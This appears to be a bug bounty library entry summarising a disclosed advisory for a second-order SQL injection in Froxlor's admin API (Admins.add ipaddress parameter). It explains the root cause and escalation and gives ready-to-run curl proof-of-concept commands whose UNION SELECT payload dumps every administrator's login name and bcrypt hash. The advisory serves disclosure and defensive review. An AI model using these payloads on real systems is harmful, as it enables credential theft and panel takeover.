# Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration

Second-order SQL injection in Froxlor admin API: crafted ipaddress array stored in panel_admins.ip is imploded unescaped into an IN clause, dumping all admin bcrypt hashes.

- Payout: Research
- Severity: high
- Program: Froxlor
- Found by: de3erve
- Disclosed: 2026-08-18
- CVE: CVE-2026-54348
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-w27m-rmmf-g5w4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w27m-rmmf-g5w4
- Tags: area:web domain:web impact:data-leak impact:pii-leak impact:privesc kind:research platform:ghsa sev:high tech:php technique:second-order vuln:sqli

**Target:** PHP admin API endpoint (api.php) / panel_admins.ip column
**Root cause:** Admins.add/update stores an attacker-controlled array JSON-encoded into panel_admins.ip without type enforcement; IpsAndPorts.listing later json_decodes and implodes those elements directly into a `WHERE id IN (...)` clause with no casting or escaping.
**Steps:**
1. Authenticate to api.php with an admin API key having `change_serversettings = 1`.
2. Send `Admins.add` with `"ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]` to store the payload in panel_admins.ip.
3. Call `IpsAndPorts.listing` (or visit `/admin_index.php?page=ipsandports`) as the poisoned account to trigger the UNION SELECT.
4. Read returned `ip`/`port` fields containing loginname and bcrypt hash of every admin.
**How found:** Code review noting the ip-column path was the sole dynamic IN clause not using integer casting or parameterized subqueries, unlike every other IN clause in the codebase.
**Exploitation:** Authenticated admin stores a UNION SELECT payload in the ip column via Admins.add; on next IpsAndPorts.listing call the payload is concatenated into the IN clause, returning loginname and bcrypt password hashes of all administrators in the JSON response.
**Escalation:** A limited reseller admin can extract the super-admin's credentials and gain full panel control; UNION SELECT can target any table (customer data, API keys, email accounts).
**Insight:** Grep for dynamic `IN (...)` clauses built by implode/json_decode of stored user data; a single uncast path among many cast ones is the tell for second-order SQLi in admin panels.

## Proof of concept (copied exactly from the original report)

**Admins.add request storing UNION payload in ipaddress**

```
curl -s -u "APIKEY:SECRET" http://TARGET/api.php \
  -H "Content-Type: application/json" \
  -d '{
    "command": "Admins.add",
    "params": {
      "name": "x",
      "new_loginname": "eviladmin",
      "email": "x@x.local",
      "admin_password": "Passw0rd!123",
      "ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
    }
  }'
```

**IpsAndPorts.listing request triggering the injection**

```
curl -s -u "EVIL_APIKEY:EVIL_SECRET" http://TARGET/api.php \
  -H "Content-Type: application/json" \
  -d '{"command":"IpsAndPorts.listing"}'
```

**Single-line cmd poison and trigger commands**

```
curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"new_loginname\":\"poc\",\"email\":\"x@x.local\",\"admin_password\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]}}"

Step 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):

curl -su "POC_APIKEY:POC_SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"
```

